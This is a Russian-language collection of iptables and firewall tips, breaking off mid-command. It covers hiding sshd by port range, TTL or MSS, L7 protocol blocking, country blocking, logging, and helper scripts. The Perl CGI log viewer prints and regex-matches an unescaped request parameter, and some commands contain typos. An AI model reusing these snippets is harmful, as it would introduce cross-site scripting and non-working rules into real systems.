    ----* Методы сокрытия сервисов средствами iptables на примере sshd (доп. ссылка 1) (доп. ссылка 2)   Автор: Владимир  [комментарии]
     
    Все действия в нижеизложенной статье выполнялись в debian 5, стандартными
    средствами. Методы предназначены для сокрытия сервисов.
    
    Ниже представлен простой шаблон правил:
    
       iptables -P INPUT DROP
       iptables -P OUTPUT DROP
       iptables -P FORWARD DROP
    
       iptables -A INPUT -p all -i lo -j ACCEPT
       iptables -A OUTPUT -p all -o lo -j ACCEPT
    
       ... ЗДЕСЬ НАШЕ ПРАВИЛО
    
       iptables -A INPUT -p icmp --icmp-type echo-request -j ACCEPT
       iptables -A INPUT -p all -m state --state ESTABLISHED,RELATED -j ACCEPT
       iptables -A OUTPUT -p all -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
    
    
    1. Использование нестандартного диапазона tcp портов при установлении исходящего соединения.
    
    Идея заключается в установлении нестандартных номеров портов (для исходящих
    соединений) на КЛИЕНТСКОЙ СТОРОНЕ и фильтрации фаерволом на сервере при
    установлении соединения по этим портам, тем самый делая наш sshd не видимым для
    всех и доступным для нас :)
    
    Реализуем идею на практике: По умолчанию диапазон портов в linux равен от 32768
    до 61000 (значения в различных дистрибутивах могут отличатся)
    
    посмотреть установленные значения можно командой
    
       cat /proc/sys/net/ipv4/ip_local_port_range
       32768 61000
    
    изменяем на, к примеру 30000 32500 (на клиентской ОС linux)
    
       echo "30000 32500">/proc/sys/net/ipv4/ip_local_port_range
    
    правило будет выглядеть так:
    
       iptables -A INPUT -p tcp --syn --sport 30000:32500 --dport 22 -j ACCEPT
    
    Правило означает: входящие подключение по протоколу tcp с
    флагами:FIN,SYN,RST,ACK/SYN с диапазона портов 30000:32500 на порт 22 разрешить
    
    
    2. Фильтрация на основе ttl (время жизни пакета)
    
    Здесь можно пойти несколькими путями:
    
    1) Суть заключается в привязывании к числу маршрутизаторов, через которые
    проходит пакет (ttl уменьшается на 1 при прохождении маршрутизатора), а так как
    количество маршрутизаторов в разных сетях разное, то получаем значение ttl
    равное числу по умолчанию минус число пройденных маршрутизаторов.
    
    В данном варианте на клиентской ОС ничего менять не будем.
    Выполним трассировку до нашего сервера, затем от значения ttl по умолчанию
    отнимем количество хостов до нашего сервера (default ttl - traceroute) получим
    значение ttl по которому будем принимать пакеты на стороне сервера.
    
    В linux значение ttl по умолчанию равно 64, посмотреть можно командой
    
       cat /proc/sys/net/ipv4/ip_default_ttl
       64
    
    Пример: выполняем трассировку
    
       tcptraceroute ya.ru
       ...
       9 ya.ru (93.158.134.8) [open] 556.844 ms 474.811 ms *
    
    Всего в пути встретилось 9 узлов, значит к серверу придёт пакет с ttl=55 (64-9=55)
    правило будет выглядеть так:
    
       iptables -A INPUT -p tcp --syn --dport 22 -m ttl --ttl-eq 55 -j ACCEPT
    
    Правило означает: входящие подключение по протоколу tcp с
    флагами:FIN,SYN,RST,ACK/SYN на порт 22 с временем жизни 55 разрешить.
    
    Иногда бывает маршрут по которому проходящий пакет незначительно изменяется (к
    примеру, провайдер пускает трафик по разным канал в целях балансировки),
    следовательно и количество маршрутизаторов, по которым идёт пакет, тоже
    меняется, тогда на всякий случай добавим к правилу ttl +2 и ttl -2
    
    Правило будет выглядеть так:
    
       iptables -A INPUT -p tcp --syn --dport 22 -m ttl --ttl-gt 52 -m ttl --ttl-lt 58 -j ACCEPT
    
    Правило означает: входящие подключение по протоколу tcp с
    флагами:FIN,SYN,RST,ACK/SYN на порт 22 с временем жизни больше 52 и меньше 58
    (match TTL > 52 TTL match TTL < 58) разрешить
    
    
    2) Второй вариант является продолжением первого, основное отличие в
    установлении на клиентской стороне нестандартного значения ttl, по которому на
    сервере будем фильтровать пакеты.
    
    Например ttl=80:
    
       echo "80" > /proc/sys/net/ipv4/ip_default_ttl
    
    При количестве маршрутизаторов 12, составим правило с запасом которое будет выглядеть так:
    
       iptables -A INPUT -p tcp --syn --dport 22 -m ttl --ttl-gt 65 -m ttl --ttl-lt 70 -j ACCEPT
    
    Правило означает: входящие подключение по протоколу tcp с
    флагами:FIN,SYN,RST,ACK/SYN на порт 22 с временем жизни больше 65 и меньше 70
    (match TTL > 65 TTL match TTL < 70) разрешить
    
    
    3. Фильтрация на основе mss (максимальный размер сегмента)
    
    Размер mss рассчитывается по формуле: mtu минус 40 байт
    mtu по умолчанию обычно равно 1500 байтам, итого значение mss по умолчанию равно 1460 байт
    Посмотреть mtu можно командой ifconfig
    
    При фильтрации по mss на сервере, на клиентской стороне потребуется лишь
    изменить mtu сетевого интерфейса (желательно немного уменьшить).
    
    Реализуем идею на практике:
    На клиентской стороне ставим mtu=1440
    
       ifconfig eth0 mtu 1440
    
    На сервере правило будет выглядеть так:
    
       iptables -A INPUT -p tcp --syn --dport 22 -m tcpmss --mss 1400 -j ACCEPT
    
    Правило означает: входящие подключение по протоколу tcp с
    флагами:FIN,SYN,RST,ACK/SYN на порт 22 с размером mss=1400 разрешить
    
    4. Защита от установки пользователям сервера исходящих соединений во внешний мир.
    
    Например заблокируем возможность соединения пользователю с правами которого работает web сервер
    
       iptables -A INPUT -p tcp --syn --dport 80 -j ACCEPT
       iptables -A OUTPUT -p tcp -m owner --uid-owner 33 -m state --state NEW -j DROP
    
    В первой цепочки разрешаем входящие соединения на 80 порт по протоколу tcp, во
    второй запрещаем устанавливать новые исходящие соединения пользователю (uid 33)
    с правами которого работает web сервер.
    
     
    ----* Использование L7-filter в Linux (доп. ссылка 1)   Автор: Сергей Яремчук  [комментарии]
     
    Проект l7-filter (http://l7-filter.sf.net) дает возможность Netfilter
    идентифицировать пакет на прикладном уровне данных, основываясь на его
    содержимом, и классифицировать пакеты по их назначению, без привязки к номеру
    порта. В настоящее время поддерживаются протоколы HTTP и FTP; P2P сети (Kazaa,
    BitTorrent, eDonkey2000, FastTrack); IM-системы (AIM/Jabber/IRC/MSN);
    VoIP/Skype; VPN; игры (Battlefield, CS, Doom3, WoW); файлы (exe, mp3) и даже
    сетевые черви - Code Red и Nimda.
    
    Проект предлагает две версии L7-filter:
    
    * Kernel version - развивается уже давно и хорошо протестирована, немного
    сложна в установке, не очень дружит с SMP-процессорами и позволяет использовать
    только самые простые регулярные выражения;
    
    * Userspace version - находится в ранней стадии развития, и, возможно, в
    будущем будет поддерживаться только эта версия, обладает большими возможностями
    по фильтрации, так как поддерживает весь спектр команд GNU grep. Несмотря на
    то, что userspace стабилен в работе, этот вариант не рекомендуют использовать
    на критических системах и для блокировки трафика.
    
    В дальнейшем рассмотрим установку kernel варианта l7-filter, который затем
    дополним IPP2P. Данный способ потребует пересборки ядра.
    Для успешного проведения сборки в твоей системе должны быть установлены пакеты
    build-essential, iptables, iptables-dev и linux-source. Берем настройки
    текущего ядра, которые будем использовать как базовые, и копируем текущую
    конфигурацию в /usr/src/linux:
    
       sudo cp /boot/config-`uname -r` /usr/src/linux/.config
    
    Получаем архив с патчами для ядра с сайта L7-filter, распаковываем его и
    переходим в каталог с сырцами ядра:
    
       tar xzvf netfilter-layer7-v2.21.tar.gz
       $ cd /usr/src/linux
    
    В архиве несколько патчей для разных версий ядер и iptables, нужно выбрать вариант для своего ядра:
    
       $ sudo patch -p1 < ../netfilter-layer7-v2.21/for_older_kernels/kernel-2.6.22-2.6.24-layer7-2.18.patch
    
    Теперь аналогично патчим iptables, выбрав также свою версию:
    
       $ cd ../iptables
       $ iptables -v
       iptables v1.3.8
       $ sudo patch -p1 < ../netfilter-layer7-v2.21/iptables-1.3-for-kernel-2.6.20forward-layer7-2.21.patch
       $ sudo chmod +x extensions/.layer7-test
    
    Собираем iptables:
    
       $ make KERNEL_DIR=/usr/src/linux
       $ sudo make install
    
    Конфигурируем и компилируем ядро:
    
       $ sudo make menuconfig
    
    Переходим в "Networking - Networking option - Network packet filtering
    framework(Netfilter) - Core Netfilter Configuration", где активируем
    "Connection tracking flow accounting" и "Layer 7 match support".
    
    Cтавим фильтры протоколов, фактически они просто копируются в каталог /etc/l7-protocols:
    
       $ tar xzvf l7-protocols-2009-05-28.tar.gz
       $ cd l7-protocols-2009-05-28/
       $ sudo make install
    
    После перезагрузки можно проверить работу фильтра. Команда "iptables -m layer7
    --help" выдаст список параметров. Например, чтобы заблокировать BitTorrent, AIM
    и Skype, пишем:
    
       iptables -A FORWARD -m layer7 --l7proto bittorrent -j DROP
       iptables -A FORWARD -m layer7 --l7proto aim -j DROP
       iptables -A FORWARD -m layer7 --l7proto skypetoskype -j DROP
       iptables -A FORWARD -m layer7 --l7proto skypeout -j DROP
    
    То есть ищем в списке название протокола и производим нужное действие.
    
     
    ----* Корректировка вывода arptables-save в Debian Lenny   Автор: аноним  [комментарии]
     
    Суть проблемы: в Debian Lenny arptables-save генерирует данные, синтаксически и
    семантически некорректные
    с точки зрения arptables-restore.
    
    Например, если в чистую таблицу filter добавить правило
    
       # arptables -A INPUT -s 10.128.0.100 -j DROP
    
    а затем вызвать arptables-save, получим
    
       # arptables-save
    
       *filter
       :INPUT ACCEPT
       :OUTPUT ACCEPT
       :FORWARD ACCEPT
       -A INPUT -j DROP -i any -o any -s 10.128.0.100
    
    Попытавшись скормить это arptables-restore, увидим
    
       arptables v0.0.3.3: Can't use -o with INPUT
    
       Try 'arptables -h' or 'arptables --help' for more information.
    ERROR(line 5):
    
    Но даже удаление -o any не сильно исправит дело. Потому что останется -i any. С
    точки зрения arptables-restore,
    да и arptables, any ни разу не ключевое слово, а просто имя интерфейса. 
    Почему arptables-save считает иначе - непонятно.
    
    Подводя итог: вывод arptables-save нужно фильтровать примерно таким образом:
    
       # arptables-save | sed -e 's/\(-[io]\) any *//g'
       *filter
       :INPUT ACCEPT
       :OUTPUT ACCEPT
       :FORWARD ACCEPT
       -A INPUT -j DROP -s 10.128.0.100
    
     
    ----* Ограничение возможностей ssh туннеля при помощи iptables   Автор: Avatar  [комментарии]
     
    Использование туннелей на основе ssh сейчас широко распространено. И многие используют его как 
    универсальное решение для организации туннелей внутрь локальной сети для
    доступа к различным сервисам.
    И в связи с этим очень часто возникает вопрос "А как ограничить возможности такого туннеля".
    
    Например: 
    есть компания, которая обслуживает ваш web сервер. Для выполнения этой работы требуется доступ 
    к серверу web-server.dmz по портам 80 и 443.
    
    Решение: 
    на сервере ssh, через который создаётся туннель, выполняем: 
    
    1) добавляем пользователя aaa
    
    2) устанавливаем ему шелл /bin/false (или другой, только так чтобы он не мог залогиниться)
    
    3) Добавляем правила iptables:
    
       iptables -A OUTPUT -d web-server.dmz -p tcp -m tcp --dport 80 -m owner --uid-owner aaa -j ACCEPT
       iptables -A OUTPUT -d web-server.dmz -p tcp -m tcp --dport 443 -m owner --uid-owner aaa -j ACCEPT
       iptables -A OUTPUT -m owner --uid-owner aaa -j REJECT
    
     
    ----* Скрипт для блокировки в iptables целых стран (доп. ссылка 1)   Автор: Vivek Gite  [комментарии]
     
    Скрипт для организации блокировки диапазонов IP адресов в привязке к названию страны.
    Например, можно использовать для блокирования всех непрофильных сайту стран в моменты DDoS атаки
    или запретить приход почты для стран с которыми явно не ведется переписка.
    
    Список привязки IP к странам загружается с сайта http://www.ipdeny.com/ipblocks/data/countries
    
    
       #!/bin/bash
       ### Block all traffic from AFGHANISTAN (af) and CHINA (CN). Use ISO code ###
       ISO="af cn" 
     
       ### Set PATH ###
       IPT=/sbin/iptables
       WGET=/usr/bin/wget
       EGREP=/bin/egrep
     
       ### No editing below ###
       SPAMLIST="countrydrop"
       ZONEROOT="/root/iptables"
       DLROOT="http://www.ipdeny.com/ipblocks/data/countries"
     
       cleanOldRules(){
       $IPT -F
       $IPT -X
       $IPT -t nat -F
       $IPT -t nat -X
       $IPT -t mangle -F
       $IPT -t mangle -X
       $IPT -P INPUT ACCEPT
       $IPT -P OUTPUT ACCEPT
       $IPT -P FORWARD ACCEPT
       }
     
       # create a dir
       [ ! -d $ZONEROOT ] && /bin/mkdir -p $ZONEROOT
     
       # clean old rules
       cleanOldRules
     
       # create a new iptables list
       $IPT -N $SPAMLIST
     
       for c  in $ISO
       do
    	# local zone file
    	tDB=$ZONEROOT/$c.zone
     
    	# get fresh zone file
    	$WGET -O $tDB $DLROOT/$c.zone
     
    	# country specific log message
    	SPAMDROPMSG="$c Country Drop"
     
    	# get
    	BADIPS=$(egrep -v "^#|^$" $tDB)
    	for ipblock in $BADIPS
    	do
    	   $IPT -A $SPAMLIST -s $ipblock -j LOG --log-prefix "$SPAMDROPMSG"
    	   $IPT -A $SPAMLIST -s $ipblock -j DROP
    	done
       done
     
       # Drop everything
       $IPT -I INPUT -j $SPAMLIST
       $IPT -I OUTPUT -j $SPAMLIST
       $IPT -I FORWARD -j $SPAMLIST
     
       # call your other iptable script
       # /path/to/other/iptables.sh
     
       exit 0
    
    
    Вместо последовательного добавления правил, для увеличения производительности, 
    рекомендуется использовать систему ipset (http://ipset.netfilter.org/) или
    nfqueue (http://nfqueue.sf.net/)
    
    
    Использовать можно примерно так:
    
        #!/bin/sh
        iptables -F INPUT
    
        ipset -N spam ipmap 
    
        cat block_country_net_list.txt | while read net; do
           ipset -A spam --network $net
        done
    
        iptables -A INPUT -m set --set spam src -j REJECT
    
    
    Другой эффективный вариант - использовать iptables модуль geoip (http://people.netfilter.org/peejix/geoip/),
    который не входит в базовую поставку iptables и требует установки patch-o-matic и 
    загрузки дополнительной базы привязки к странам, например с http://www.maxmind.com/
    
    Например, блокировка ICMP запросов из Франции, Италии и Испании будет выглядеть так:
    
       iptables -A OUTPUT -p icmp -m geoip --dst-cc FR,IT,ES -j REJECT
    
     
    ----* Поддержка TARPIT для RHEL 5/CentOS 5   Автор: Андрей  [комментарии]
     
    Для RHEL 5 / CentOS 5 исходники модуля TARPIT  можно загрузить здесь:
       http://enterprise.bih.harvard.edu/pub/tarpit-updates/old-patch-o-matic
    
    TARPIT позволяет организовать коннект в пустоту (соединение не закрывается, но
    ничего не происходит).
    
    Я скачал 2.6.19 версию, собирается без проблем при наличии пакета kernel-devel и простого makefile:
    
       obj-m += ipt_TARPIT.o
       KDIR := /lib/modules/$(shell uname -r)/build
       PWD := $(shell pwd)
       all:
            make -C $(KDIR) M=$(PWD) modules
       clean:
            make -C $(KDIR) M=$(PWD) clean
    
    Чтобы при обновлении ядра модуль автоматом подхватывался, нужно зарегистрировать модуль через
    
       /sbin/weak-modules
    
    Пример использования:
    
       iptables -A INPUT -p tcp -m tcp -dport 80 -j TARPIT
    
     
    ----* Удаление iptables правил по их номерам   [комментарии]
     
    Для отображения порядковых номеров iptables правил в списке необходимо
    использовать опцию --line-numbers.
    Например, просмотрим содержимое таблицы трансляции и правила, влияющие на
    пересылку пакетов между интерфейсами:
    
       iptables -L POSTROUTING -t nat -n -v --line-numbers
       iptables -L FORWARD -n -v --line-numbers
    
    Удалим несколько записей по номеру:
    
       iptables -D FORWARD 55
       iptables -t nat -D POSTROUTING 15
    
    Цепочку следует явно указывать, так как номера уникальны только в рамках каждой цепочки.
    Удалять следует внимательно и по одному элементу, так как после удаления
    следующие номера сдвигаются!
    Т.е., если вы хотели удалить в списке строки 15 и 25, удалять нужно, начиная с большего номера,
    иначе 25 запись после удаления 15 сменит номер на 24.
    
     
    ----* Обход блокировки BitTorrent трафика, через отправку фиктивных RST пакетов (доп. ссылка 1)   Автор: tuxtraining.com  [комментарии]
     
    Некоторые сетевые операторы, например Comcast, используют ПО Sandvine для
    нарушения работы BitTorrent.
    
    Принцип действия Sandvine в отправке клиенту поддельных RST пакетов, приводящих
    к прерыванию соединения.
    Простейший способ борьбы с подобной практикой блокирования - запретить прием пакетов с RST флагом:
    
       iptables -A INPUT -p tcp --dport 6883 --tcp-flags RST RST -j DROP
    
    где, 6883 - номер BitTorrent порта.
    
    Пример скрипта, оставляющего возможность входящих соединений только для BitTorrent:
    
    #!/bin/sh
    # Номер порта BitTorrent
    BT_PORT=6883
    # Сброс настроек iptables
    iptables -F
    # Разрешаем трафик на loopback интерфейсе
    iptables -A INPUT -i lo -j ACCEPT
    
    # Молча отбрасываем RST пакеты
    iptables -A INPUT -p tcp --dport $BT_PORT --tcp-flags RST RST -j DROP
    # Пропускаем уже установленные входящие соединения
    iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
    # Разрешаем прием соединений для BitTorrent
    iptables -A INPUT -m state --state NEW -m tcp -p tcp --dport $BT_PORT -j ACCEPT
    iptables -A INPUT -m state --state NEW -m udp -p udp --dport $BT_PORT -j ACCEPT
    # Все остальные входящие соединения блокируем
    iptables -A INPUT -j REJECT --reject-with icmp-host-prohibited
    
     
    ----* Как заблокировать через iptables пакеты отправленные из определенной ОС (доп. ссылка 1)   Автор: Evgeniy Polyakov  [комментарии]
     
    Модуль ost был написан для использования в iptables правилах результатов пассивного определения 
    типа операционной системы, из которой был отправлен TCP SYN пакет.
    
    Загружаем исходные тексты модуля со страницы
    http://www.ioremap.net/archive/osf/ или ставим из patch-o-matic:
    
    В Makefile через переменную IPTABLES указываем путь к заголовочным файлам
    iptables (xtables.h и /lib/iptables или /lib/xtables в Debian).
    
    Собираем модуль xt_osf.ko: 
       make 
    
    Собираем библиотеку libipt_osf.so, после чего копируем ее в /lib/iptables или /lib64/iptables:
       make lib
    
    Собираем утилиты  для загрузки сигнатур ОС и ведения лога (load, osfd, ucon_osf):
       make bin
    
    Загружаем список сигнатур:
       wget http://www.openbsd.org/cgi-bin/cvsweb/src/etc/pf.os
    
    Загружаем модуль ядра:
       insmod ./xt_osf.ko
    
    Загружаем сигнатуры:
       ./load ./pf.os /proc/sys/net/ipv4/osf
    
    Пример правила для занесения всех пересылок с участием Linux лог:
       iptables -I INPUT -j ACCEPT -p tcp -m osf --genre Linux --log 0 --ttl 2
    
    Для блокирования внешних пакетов от Windows машин:
       iptables -j DROP -i INPUT -p tcp -m osg --genre Windows --ttl 2
    
    При отправке с Windows в логе появится:
       ipt_osf: Windows [2000:SP3:Windows XP Pro SP1, 2000 SP3]: 11.22.33.55:4024 -> 11.22.33.44:139
    
    Опции:
    --log - если в качестве аргумента передан 0, то помещать в лог все совпадения и
    неизвестные срабатывания,
    если 1, помещать только первое совпадение, 2 - только совпадения;
    
    --ttl - если 0, проверять только для пакетов внутри локальной сети, 1 - для
    внешней сети, 2 - не учитывать TTL.
    
     
    ----* Как увеличить размер таблицы контроля сессий ip_conntrack в Linux   [комментарии]
     
    Если ядро ругается "kernel: ip_conntrack: table full, dropping packet.", причину флуда 
    (скорее всего вирус или сканирование портов) можно найти по списку /proc/net/ip_conntrack
    Если просто общая загрузка большая, увеличить размер таблицы можно через /proc/sys/net/ipv4/ip_conntrack_max
    
    Также можно увеличить размерность хэша через параметр  hashsize модуля ip_conntrack:
    /etc/modules.conf:
       options ip_conntrack hashsize=N
    
    Более тонкий тюнинг можно произвести через переменные определенные в /proc/sys/net/ipv4/netfilter
    
     
    ----* Как вести лог блокировок в iptables и ipfw   [комментарии]
     
    Linux:
    
    - Перед правилом блокировки нужно вставить "log" правило:
       iptables -A FORWARD -p tcp -m tcp -s 192.168.0.0/16 --dport 25 \
          -j LOG --log-level debug --log-prefix "outgoing mail" 
       iptables -A FORWARD -p tcp -m tcp -s 192.168.0.0/16 --dport 25 -j DROP
    
    - Проверить запущены ли в системе klogd и syslogd.
    
    - Настроить /etc/syslog.conf на прием kern.debug логов:
       kern.=debug   -/var/log/kernel/info
    
    FreeBSD:
    Добавить ключ log в ipfw, например:
       ipfw add 1000 deny log tcp from any to 192.168.10.10 22 via fxp0
       ipfw add 1000 deny log logamount 0 tcp from any to 192.168.10.10 80 via fxp0
    
    Для ведения логов ядро должно быть собрано с IPFIREWALL_VERBOSE или нужно
    выставить "sysctl -w net.inet.ip.fw.verbose=1".
    
    Далее проверить чтобы в /etc/syslog.conf было упоминание LOG_SECURITY:
       security.*      /var/log/security
    
    Через параметр logamount передается число записей которые будет записано в лог, 
    после превышения записи перестанут появляться в логе, до тех пор пока не будет вызвана команда 
    "ipfw resetlog". Максимальное число сообщений можно также установить 
    через sysctl net.inet.ip.fw.verbose_limit. 
    Для отмены лимитирования на число записей, нужно установить атрибут в 0.
    
     
    ----* Статистика сетевых соединений через syslog и iptables   Автор: umask  [комментарии]
     
    Часто недовольные пользователи приходят и просят дать им распечатку логов доступа в интернет. 
    Отчасти это позволяет сделать squid, но только при прозрачном проксировании, да
    и то логи только по http-протоколу.
    
    На помощь приходит iptables и syslog.
    
    Настраиваем в syslog.conf добавление сообщений от ядра уровня debug (или
    уровня, который вам удобнее)
     в отдельный файл. Лучше всего хранить эти логи на отдельном разделе (их размер огромен! 
    но проблему решает gzip - сжимает логи более чем в 10 раз).
    
    В моём syslog.conf была добавлена строка:
          kern.=debug                                 -/var/log/access/access
    
    Желательно, что бы в уровень debug сообщений от ядра не поступало никакой другой информации, 
    кроме информации от iptables. У меня так и получилось по умолчанию с уровнем debug.
    
    В rc.firewall было добавлено в самое начало:
    
       #LOG ALL (!!!). Beware!!!
       #FORWARD
       iptables -A FORWARD -m state --state NEW -j LOG  --log-level debug \
          --log-prefix  'FRWLL_FWD_NEW ' # --log-tcp-options --log-ip-options
       #iptables -A FORWARD -m state --state ESTABLISHED -j LOG  --log-level debug \
       #   --log-prefix 'FRWLL_FWD_ESTBLSHD ' # --log-tcp-options --log-ip-options
       #iptables -A FORWARD -m state --state RELATED -j LOG  --log-level debug \
       #   --log-prefix 'FRWLL_FWD_RLTD ' # --log-tcp-options --log-ip-options
       #iptables -A FORWARD -m state --state INVALID -j LOG  --log-level debug \
       #   --log-prefix 'FRWLL_FWD_INVLD ' # --log-tcp-options --log-ip-options
       #INPUT
       iptables -A INPUT -m state --state NEW -j LOG  --log-level debug \
          --log-prefix 'FRWLL_INPT_NEW ' # --log-tcp-options --log-ip-options
       #iptables -A INPUT -m state --state ESTABLISHED -j LOG  --log-level debug \
       #   --log-prefix 'FRWLL_INPT_ESTBLSHD ' # --log-tcp-options --log-ip-options
       #iptables -A INPUT -m state --state RELATED -j LOG  --log-level debug \
       #  --log-prefix 'FRWLL_INPT_RLTD ' # --log-tcp-options --log-ip-options
       iptables -A INPUT -m state --state INVALID -j LOG  --log-level debug \
          --log-prefix 'FRWLL_INPT_INVLD ' # --log-tcp-options --log-ip-options
    
    
    Если раскомментировать все строки, то получиться лог с полной статистикой
    доступа - он будет очень большим.
    Поэтому в данном примере имеем лог только по установкам соединений и ошибочным
    соединениям в цепочках INPUT и FORWARD.
    
    Итак. В logrotate я добавил (/etc/logrotate.d/access):
    
       /var/log/access/access {
           sharedscripts
           compress
           rotate 45
           daily
           postrotate
               /bin/killall -HUP syslogd
           endscript
       }
    
    Сжимаем логи каждый день. Храним статистику за последние 45 суток.
    Компрессия логов в моём случае дала значительный прирост производительности, поскольку шлюз 
    достаточно мощный и скорость парсинга логов упиралась только в чтение с HDD.
    
    В итоге был написан простой скрипт на perl, выдающий статистику в более-менее удобоваримой форме.
    
    Вот и сам скрипт:
    -------------------------
    
       #!/usr/bin/perl
    
       use CGI qw(:standard);
       use PerlIO::gzip;
       use Switch;
    
       ##Redefine before start:
       my $LOG_DIR="/var/log/access/";
       my $LOG_FILENAME="access";
       ##end
    
       my $IP, $FLAG;
    
       ## Params delimeter in request: "-"
       ($IP, $FLAG) = split(/-/, $ARGV[0]);
    
       ## if undefine IP or file log FLAG-number or FLAG is empty - parser exit:
       if(!defined($IP)||!defined($FLAG)||$FLAG==""){
         print header; print start_html; 
         print   "Valid parameters required!"; print end_html; exit(1);
       }
    
       print header;
       print start_html("Stat for: $IP");
       print "<h2>Stat for: $IP</h2><br/>", "\n<pre>";
    
       switch($FLAG)
       {
           case "0"
           {
               open($FD, "<$LOG_DIR$LOG_FILENAME")
                or die "Cannot open current (0) log-file!<br> File does not exist or access not permitted!<br>";
               while(<$FD>)
               {
                    chomp;
                    s/gw kernel://g;
                    if(grep(/$IP/, $_))
                    {
                        print $_, "<br>\n";
                    }
               }
               close($FD);
           }
           else 
           {
               open($GZIP, "<:gzip(lazy)", "$LOG_DIR$LOG_FILENAME.$FLAG.gz")
                or die "Cannot open old (", $FLAG, ") log-file!<br> File does not exist or access not permitted!<br>";
               while(<$GZIP>)
               {
                    chomp;
                    s/gw kernel://g;
                    if(grep(/$IP/, $_))
                    {
                        print $_, "<br>\n";
                    }
               }
               close($GZIP);
           }
       }
       print "</pre>\n";
       print "<br><br>Access stat parser by \"umask at yandex dot ru\"<br>";
       print end_html;
    -------------------------
    
    Для работы скрипта необходимо установить модуль PerlIO-gzip. Найти ссылку на
    модуль можно на cpan.org.
    
    Доступ к статистике можно получить через браузер (скрипт рассчитан для работы как CGI):
       hostname.ru/cgi-bin/parse.pl?192.168.1.1-0
    
    Аргумент понимаеться так:
    192.168.1.1 - искомая подстрока.
    0 - норме лог файла. В данном случае текущий (в который пока ещё записываются сообщения syslog).
    1 - вчерашний,
    2 - позавчерашний,
    3 - 3 дня назад.
    .....
    и т.д.
    
    Для меня данное решение оказалось удобным.
    
     
    ----* Скрипт для автоматизации настройки iptables фильтра для локальной сети (доп. ссылка 1)   Автор: Константин Брызгалов  [комментарии]
     
    На разных машинах в моей локальной сети накопилась куча программ,
    которым нужен был выход в интернет напрямую. У каждой свой набор портов.
    Захотелось на входе иметь минимальную конфигурацию, описывающую
    ресурсы, а на выходе набор разрешающих  правил для iptables.
    В основном были клиент-банки - поэтому и такая терминология в программе.
    А так вместо банка можно указывать любой ресурс в формате определенном в
    man iptables.
    
    Ограничения, недостатки:
    
    1. использование количества портов для одного ресурса менее 16
    2. нельзя указать диапазон портов через двоеточие как в iptables
    Оба легко устаняются: первое - есть пример в самом скрипте, 
    второе через использование другого разделителя для записей на входе, 
    проверку наличия ":" - использование другого формата вызова iptables. Мне это
    не нужно и код не хотел раздувать.
    
    
    #!/bin/bash
    #bkv 2005.10
    #Дано: 
    #  Два списка:
    #  Первый список из записей вида - банк:порты(через запятую)
    #  Второй список из записей вида - клиент:банки(через запятую)
    #Найти: 
    #  Набор разрешающих правил iptables для forward
    #Примечания:
    #  политика FORWARD по умолчанию - "запрещено все, что не разрешенно"
    #  iptables поддерживает одновременное указание не более 15 портов
    #Решение: 
    #  Создадим отдельную цепочку, например, - CLIENTBANK
    #  Сгенерируем необходимые правила и поместим их в цепочку CLIENTBANK
    #  Обращения по всем портам из первого списка направим на обработку в CLIENTBANK
    #  Перед выполнением все правила связаные с цепочкой CLIENTBANK удалим, чтобы не плодить 
    #    правила от многократного запуска
    
    itls="/sbin/iptables"
    
    #Подаем список на обработку awk
    #признак первого списка - первое поле BankPorts
    #признак второго списка - первое поле ClientBanks
    echo -e "\
    BankPorts:smtp.mail.ru:25\n\
    BankPorts:10.24.70.0/26:22,23\n\
    BankPorts:pop.mail.ru:110\n\
    BankPorts:bank4.ru:9999,888\n\
    BankPorts:bank5.ru:1,2,3,4,5,6,7,8,9,10,11,12,13,14,15\n\
    BankPorts:bank6.ru:21,22,23,24,25,26,27,28,29,210,211,212,213,214,215\n\
    ClientBanks:192.168.9.0/16:smtp.mail.ru,pop.mail.ru,10.24.70.0/26\n\
    ClientBanks:192.168.9.8:bank4.ru,bank5.ru,bank6.ru\n\
    ClientBanks:192.168.9.6:bank6.ru,bank4.ru\n\
    "|\
    awk -v itls=$itls -F: '{
      if($0~/^BankPorts/) BankPorts[$2]=$3 #создаем ассоциативный массив - индекс:банк, значение:порты через запятую
      if($0~/^ClientBanks/) ClientBanks[$2]=$3 #аналогично клиент -> банки
    }END{
    #Cгенерируем _необходимые_ правила для цепочки CLIENTBANK
    for (client in ClientBanks){
      split(ClientBanks[client],bank_arr,",") #поместили в массив bank_arr адреса банков для клиента
      for(i in bank_arr){
          all_ports=all_ports","BankPorts[bank_arr[i]] #создаем список всех портов для дальнейшего использования
          count_ports=split(BankPorts[bank_arr[i]],tmp_arr,",")
          if(count_ports > 15)
            print "echo Слишком много портов для "bank_arr[i]".Допиши программу.Выход&&exit 1"
           else
            printf("%s -A CLIENTBANK -s %s -d %s -p tcp -m multiport --dports %s -j ACCEPT\n",itls,client,bank_arr[i],BankPorts[bank_arr[i]])
          }
    }
    
    #Создадим правила перенаправляющие из FORWARD на обработку в CLIENTBANK, помня
    про ограничение в 15 портов
    sub(",","",all_ports) #отрезаем первую запятую у списка всех использующихся портов
    split(all_ports,all_ports_arr,",")#поместили в массив all_ports_arr все порты какие есть
    j=1;i=1
    while(all_ports_arr[i]){
      while(i<=(j*15)){
        if (all_ports_arr[i]) 
          tmp_all_ports=tmp_all_ports","all_ports_arr[i]
        i++
        }
      sub(",","",tmp_all_ports) #отрезаем первую запятую
      printf("%s -I FORWARD -p tcp -m multiport --ports %s -j CLIENTBANK\n",itls,tmp_all_ports)
      tmp_all_ports=""
      j++
      }
    
    print itls" -A CLIENTBANK  -p tcp -m state --state ESTABLISHED -j ACCEPT"
    print itls" -N CLIENTBANK"
    print itls" -X CLIENTBANK"
    print itls" -F CLIENTBANK"
    
    #Удаляем из FORWARD все цепочки содержащие цель CLIENTBANK
    del_rules_nums="'`$itls --line-numbers -L FORWARD -n|grep CLIENTBANK|cut -f1 -d" "|tr "\n" ","`'"
    split(del_rules_nums,del_rules_arr,",")
    cnt_rules=1
    while(del_rules_arr[cnt_rules]){
      printf("%s -D FORWARD %s\n",itls,del_rules_arr[cnt_rules])
      cnt_rules++
      }
    
    }'|tac > gen.itls.sh
    chmod 700 gen.itls.sh
    echo "Команды сгенерированы в файл ./gen.itls.sh .Выход."
    exit
    ./gen.itls.sh
    rm ./gen.itls.sh
    
     
    ----* Лимитирование числа запросов в единицу времени через iptables (доп. ссылка 1)   Автор: Steve  [комментарии]
     
    Разрешаем производить только 4 коннекта к 22 порту в течении 60 секунд:
    
       iptables -I INPUT -p tcp --dport 22 -i eth0 -m state --state NEW -m recent --set
    
       iptables -I INPUT -p tcp --dport 22 -i eth0 -m state --state NEW -m recent \
